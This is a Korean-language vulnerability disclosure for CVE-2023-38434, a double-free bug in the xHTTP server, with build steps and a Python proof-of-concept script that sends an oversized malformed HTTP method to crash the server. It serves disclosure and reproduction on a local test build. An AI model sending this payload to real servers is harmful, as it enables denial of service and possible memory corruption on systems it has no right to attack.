CVE-2023-38434

xHTTP 커밋 72f812d 이하 버전에서는 xhttp.c의 595행에 있는 close_connection에서 이중 해제(double free) 취약점이 발생합니다.

if(conn->request.public.headers.list != NULL)
    free(conn->request.public.headers.list);

취약점을 확인하려면 이 저장소에 포함된 xHTTP 서버를 디버그 심볼과 address sanitizer를 사용하여 컴파일하세요:

unzip xHTTP.zip
cd xHTTP-main
gcc example.c  xhttp.c -o main -fsanitize=address -g

서버가 컴파일되면 8080 포트에서 서버를 시작하세요:

xHTTP 서버

$ ./main

이중 해제는 잘못된 형식의 HTTP 요청 메서드를 통해 트리거될 수 있습니다. 예를 들어, 다음 python3 스크립트는 잘못된 형식의 HTTP 요청 메서드를 사용해 대상 서버에 요청하여 이중 해제를 트리거합니다.

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect(('localhost', 8080))

http_headers = (
    #Request - http_headers
    b'MALFORMEDMETHOD'*1000  +  # HTTP Method (POST Request).  Sending malformed HTTP Methods invokes a double free in xHTTP
    b' '  
    b'/'  
    b' HTTP/1.0'  
    b'\r\n' 
    b'Host: '  
    b'localhost'  
    b':'  
    b'8080'  
    b'\r\n'  
    b'Accept-Encoding: '  
    b'identity'  
    b'\r\n'  
    b'Content-Type: '  #Content type
    b'application/json'  #JSON content type
    b'\r\n'  
    
    b'Connection: close\r\n'  
    b'User-Agent: '  
    b'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'  
    b'\r\n'  

    b'Content-Length: '  
    b'152'  #Size - Content-Length_size
    b'\r\n'  
    b'\r\n'  #Delim - crlf_headers_body
        #Block - post_body
        b'data=Somepostdata'  

)

sock.send(http_headers)
sock.recv(65535)

sock.close()

CVE-2023-38434

인기

Python3 스크립트

Address Sanitizer 출력

완화

참고 자료